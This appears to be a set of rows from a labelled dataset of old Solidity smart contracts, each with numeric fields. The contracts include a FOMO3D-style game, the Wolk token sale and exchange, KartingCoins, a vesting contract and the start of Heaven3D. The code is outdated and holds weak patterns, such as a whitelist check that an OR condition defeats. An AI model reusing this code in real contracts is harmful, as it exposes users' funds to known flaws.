_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 1,292 |
pragma solidity ^0.4.16;
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
}
contract Owned {
address public owner;
address public newOwner;
modifier onlyOwner { assert(msg.sender == owner); _; }
event OwnerUpdate(address _prevOwner, address _newOwner);
function Owned() {
owner = msg.sender;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != owner);
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnerUpdate(owner, newOwner);
owner = newOwner;
newOwner = 0x0;
}
}
contract ERC20 {
function totalSupply() constant returns (uint _totalSupply);
function balanceOf(address _owner) constant returns (uint balance);
function transfer(address _to, uint _value) returns (bool success);
function transferFrom(address _from, address _to, uint _value) returns (bool success);
function approve(address _spender, uint _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint remaining);
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract ERC20Token is ERC20, SafeMath {
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalTokens;
uint256 public contributorTokens;
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
} else {
return false;
}
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
var _allowance = allowed[_from][msg.sender];
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
} else {
return false;
}
}
function totalSupply() constant returns (uint256) {
return totalTokens;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Wolk is ERC20Token, Owned {
string public constant name = "WOLK TOKEN";
string public constant symbol = "WLK";
uint256 public constant decimals = 18;
uint256 public reserveBalance = 0;
uint8 public percentageETHReserve = 5;
address public wolkInc;
bool public allSaleCompleted = false;
modifier isTransferable { require(allSaleCompleted); _; }
event WolkCreated(address indexed _to, uint256 _tokenCreated);
event WolkDestroyed(address indexed _from, uint256 _tokenDestroyed);
event LogRefund(address indexed _to, uint256 _value);
}
contract WolkTGE is Wolk {
mapping (address => uint256) contribution;
mapping (address => bool) whitelistContributor;
uint256 public constant tokenGenerationMin = 1 * 10**4 * 10**decimals;
uint256 public constant tokenGenerationMax = 175 * 10**5 * 10**decimals;
uint256 public start_block;
uint256 public end_time;
bool kycRequirement = true;
function wolkGenesis(uint256 _startBlock, uint256 _endTime, address _wolkinc) onlyOwner returns (bool success){
require((totalTokens < 1) && (block.number <= _startBlock));
start_block = _startBlock;
end_time = _endTime;
wolkInc = _wolkinc;
return true;
}
function updateRequireKYC(bool _kycRequirement) onlyOwner returns (bool success) {
kycRequirement = _kycRequirement;
return true;
}
function addParticipant(address[] _participants) onlyOwner returns (bool success) {
for (uint cnt = 0; cnt < _participants.length; cnt++){
whitelistContributor[_participants[cnt]] = true;
}
return true;
}
function removeParticipant(address[] _participants) onlyOwner returns (bool success){
for (uint cnt = 0; cnt < _participants.length; cnt++){
whitelistContributor[_participants[cnt]] = false;
}
return true;
}
function participantStatus(address _participant) constant returns (bool status) {
return(whitelistContributor[_participant]);
}
function tokenGenerationEvent(address _participant) payable external {
require( ( whitelistContributor[_participant] || whitelistContributor[msg.sender] || balances[_participant] > 0 || kycRequirement ) && !allSaleCompleted && ( block.timestamp <= end_time ) && msg.value > 0);
uint256 rate = 1000;
rate = safeDiv( 175 * 10**5 * 10**decimals, safeAdd( 875 * 10**1 * 10**decimals, safeDiv( totalTokens, 2 * 10**3)) );
if ( rate > 2000 ) rate = 2000;
if ( rate < 500 ) rate = 500;
require(block.number >= start_block) ;
uint256 tokens = safeMul(msg.value, rate);
uint256 checkedSupply = safeAdd(totalTokens, tokens);
require(checkedSupply <= tokenGenerationMax);
totalTokens = checkedSupply;
contributorTokens = safeAdd(contributorTokens, tokens);
Transfer(address(this), _participant, tokens);
balances[_participant] = safeAdd(balances[_participant], tokens);
contribution[_participant] = safeAdd(contribution[_participant], msg.value);
WolkCreated(_participant, tokens);
}
function finalize() onlyOwner external {
require(!allSaleCompleted);
end_time = block.timestamp;
uint256 wolkincTokens = 50 * 10**6 * 10**decimals;
balances[wolkInc] = wolkincTokens;
totalTokens = safeAdd(totalTokens, wolkincTokens);
WolkCreated(wolkInc, wolkincTokens);
allSaleCompleted = true;
reserveBalance = safeDiv(safeMul(contributorTokens, percentageETHReserve), 100000);
var withdrawalBalance = safeSub(this.balance, reserveBalance);
msg.sender.transfer(withdrawalBalance);
}
function refund() external {
require((contribution[msg.sender] > 0) && (!allSaleCompleted) && (block.timestamp > end_time) && (totalTokens < tokenGenerationMin));
uint256 tokenBalance = balances[msg.sender];
uint256 refundBalance = contribution[msg.sender];
balances[msg.sender] = 0;
contribution[msg.sender] = 0;
totalTokens = safeSub(totalTokens, tokenBalance);
WolkDestroyed(msg.sender, tokenBalance);
LogRefund(msg.sender, refundBalance);
msg.sender.transfer(refundBalance);
}
function transferAnyERC20Token(address _tokenAddress, uint256 _amount) onlyOwner returns (bool success) {
return ERC20(_tokenAddress).transfer(owner, _amount);
}
}
contract IBancorFormula {
function calculatePurchaseReturn(uint256 _supply, uint256 _reserveBalance, uint8 _reserveRatio, uint256 _depositAmount) public constant returns (uint256);
function calculateSaleReturn(uint256 _supply, uint256 _reserveBalance, uint8 _reserveRatio, uint256 _sellAmount) public constant returns (uint256);
}
contract WolkExchange is WolkTGE {
address public exchangeFormula;
bool public isPurchasePossible = false;
bool public isSellPossible = false;
modifier isPurchasable { require(isPurchasePossible && allSaleCompleted); _; }
modifier isSellable { require(isSellPossible && allSaleCompleted); _; }
function setExchangeFormula(address _newExchangeformula) onlyOwner returns (bool success){
require(sellWolkEstimate(10**decimals, _newExchangeformula) > 0);
require(purchaseWolkEstimate(10**decimals, _newExchangeformula) > 0);
isPurchasePossible = false;
isSellPossible = false;
exchangeFormula = _newExchangeformula;
return true;
}
function updateReserveRatio(uint8 _newReserveRatio) onlyOwner returns (bool success) {
require(allSaleCompleted && ( _newReserveRatio > 1 ) && ( _newReserveRatio < 20 ) );
percentageETHReserve = _newReserveRatio;
return true;
}
function updatePurchasePossible(bool _isRunning) onlyOwner returns (bool success){
if (_isRunning){
require(sellWolkEstimate(10**decimals, exchangeFormula) > 0);
require(purchaseWolkEstimate(10**decimals, exchangeFormula) > 0);
}
isPurchasePossible = _isRunning;
return true;
}
function updateSellPossible(bool _isRunning) onlyOwner returns (bool success){
if (_isRunning){
require(sellWolkEstimate(10**decimals, exchangeFormula) > 0);
require(purchaseWolkEstimate(10**decimals, exchangeFormula) > 0);
}
isSellPossible = _isRunning;
return true;
}
function sellWolkEstimate(uint256 _wolkAmountest, address _formula) internal returns(uint256) {
uint256 ethReceivable = IBancorFormula(_formula).calculateSaleReturn(contributorTokens, reserveBalance, percentageETHReserve, _wolkAmountest);
return ethReceivable;
}
function purchaseWolkEstimate(uint256 _ethAmountest, address _formula) internal returns(uint256) {
uint256 wolkReceivable = IBancorFormula(_formula).calculatePurchaseReturn(contributorTokens, reserveBalance, percentageETHReserve, _ethAmountest);
return wolkReceivable;
}
function sellWolk(uint256 _wolkAmount) isSellable() returns(uint256) {
require((balances[msg.sender] >= _wolkAmount));
uint256 ethReceivable = sellWolkEstimate(_wolkAmount,exchangeFormula);
require(this.balance > ethReceivable);
balances[msg.sender] = safeSub(balances[msg.sender], _wolkAmount);
contributorTokens = safeSub(contributorTokens, _wolkAmount);
totalTokens = safeSub(totalTokens, _wolkAmount);
reserveBalance = safeSub(this.balance, ethReceivable);
WolkDestroyed(msg.sender, _wolkAmount);
Transfer(msg.sender, 0x00000000000000000000, _wolkAmount);
msg.sender.transfer(ethReceivable);
return ethReceivable;
}
function purchaseWolk(address _buyer) isPurchasable() payable returns(uint256){
require(msg.value > 0);
uint256 wolkReceivable = purchaseWolkEstimate(msg.value, exchangeFormula);
require(wolkReceivable > 0);
contributorTokens = safeAdd(contributorTokens, wolkReceivable);
totalTokens = safeAdd(totalTokens, wolkReceivable);
balances[_buyer] = safeAdd(balances[_buyer], wolkReceivable);
reserveBalance = safeAdd(reserveBalance, msg.value);
WolkCreated(_buyer, wolkReceivable);
Transfer(address(this),_buyer,wolkReceivable);
return wolkReceivable;
}
function () payable {
require(msg.value > 0);
if(!allSaleCompleted){
this.tokenGenerationEvent.value(msg.value)(msg.sender);
} else if ( block.timestamp >= end_time ){
this.purchaseWolk.value(msg.value)(msg.sender);
} else {
revert();
}
}
} | 0 | 12 |
pragma solidity ^0.4.20;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count ++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i ++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Transfer(msg.sender, _to, _amount);
Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
}
else {
chains[headKey] = next;
delete chains[currentKey];
}
Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract ERC223Receiver {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract ERC223Basic is ERC20Basic {
function transfer(address to, uint value, bytes data) public returns (bool);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract SuccessfulERC223Receiver is ERC223Receiver {
event Invoked(address from, uint value, bytes data);
function tokenFallback(address _from, uint _value, bytes _data) public {
Invoked(_from, _value, _data);
}
}
contract FailingERC223Receiver is ERC223Receiver {
function tokenFallback(address, uint, bytes) public {
revert();
}
}
contract ERC223ReceiverWithoutTokenFallback {
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Mint(_to, _amount);
Freezed(_to, _until, _amount);
Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint constant TOKEN_DECIMALS = 18;
uint8 constant TOKEN_DECIMALS_UINT8 = 18;
uint constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string constant TOKEN_NAME = "KartingCoins";
string constant TOKEN_SYMBOL = "KRTC";
bool constant PAUSED = false;
address constant TARGET_USER = 0x67b8AbF0FA3B6E3a94B84184C37d20A9D69dbB55;
bool constant CONTINUE_MINTING = true;
}
contract ERC223Token is ERC223Basic, BasicToken, FailingERC223Receiver {
using SafeMath for uint;
function transfer(address _to, uint _value, bytes _data) public returns (bool) {
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength > 0) {
ERC223Receiver receiver = ERC223Receiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
Transfer(msg.sender, _to, _value, _data);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
bytes memory empty;
return transfer(_to, _value, empty);
}
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
function MainToken() public {
init();
transferOwnership(TARGET_USER);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[1] memory addresses = [address(0x15ae04d2aaf288e8826e3b2bcdf044f45489b6a7)];
uint[1] memory amounts = [uint(1000000000000000000000000000)];
uint64[1] memory freezes = [uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
Initialized();
}
function name() pure public returns (string _name) {
return TOKEN_NAME;
}
function symbol() pure public returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() pure public returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
} | 0 | 1,563 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract TokenVesting is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
event Released(uint256 amount);
event Revoked();
address public beneficiary;
ERC20Basic public token;
address public addressToken;
uint256 public cliff;
uint256 public start;
uint256 public duration;
mapping (address => uint256) public released;
mapping (address => bool) public revoked;
function TokenVesting() public
{
beneficiary = 0xEdc62572208C819ee413a2e19a037BbC3eA1F9c8;
duration = 24 * 31 * 24 * 60 * 60;
start = 1523275200;
cliff = start;
}
function setToken(address _addressToken) public onlyOwner{
require(_addressToken != address(0));
addressToken = _addressToken;
token = ERC20Basic(_addressToken);
}
function release() public {
uint256 unreleased = releasableAmount();
require(addressToken != address(0));
require(unreleased > 0);
released[token] = released[token].add(unreleased);
token.safeTransfer(beneficiary, unreleased);
emit Released(unreleased);
}
function releasableAmount() public view returns (uint256) {
return vestedAmount().sub(released[token]);
}
function vestedAmount() public view returns (uint256) {
uint256 currentBalance = token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released[token]);
if (block.timestamp < cliff) {
return 0;
} else if (block.timestamp >= start.add(duration) || revoked[token]) {
return totalBalance;
} else {
return totalBalance.mul(block.timestamp.sub(start)).div(duration);
}
}
} | 0 | 1,488 |
pragma solidity ^0.4.24;
contract H3Devents {
event onNewDecision
(
address senderAddress,
uint256 randNum,
bool decision
);
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularLong is H3Devents {}
contract Heaven3D is modularLong {
using SafeMath for *;
using NameFilter for string;
using H3DKeysCalcLong for uint256;
TeamDreamHubInterface public TeamDreamHub_;
PlayerBookInterface public PlayerBook;
string constant public name = "Heaven3D Official";
string constant public symbol = "H3D";
address private owner;
uint256 constant private rndExtra_ = 0 hours;
uint256 constant private rndGap_ = 0 hours;
uint256 constant private rndInit_ = 1 hours;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndDeciExt_ = 360 seconds;
uint256 constant private rndMax_ = 24 hours;
uint256 constant private rule_limit_latestPlayersCnt = 10;
uint256 constant private rule_limit_heavyPlayersCnt = 10;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
bool public noMoreNextRound_ = false;
uint256 public randomDecisionPhase_ = 100;
bool private endRoundDecisionResult_ = false;
address private address_of_last_rand_gen_source_ = address(0);
mapping (uint256 => uint256) pPAIDxID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => H3Ddatasets.Player) public plyr_;
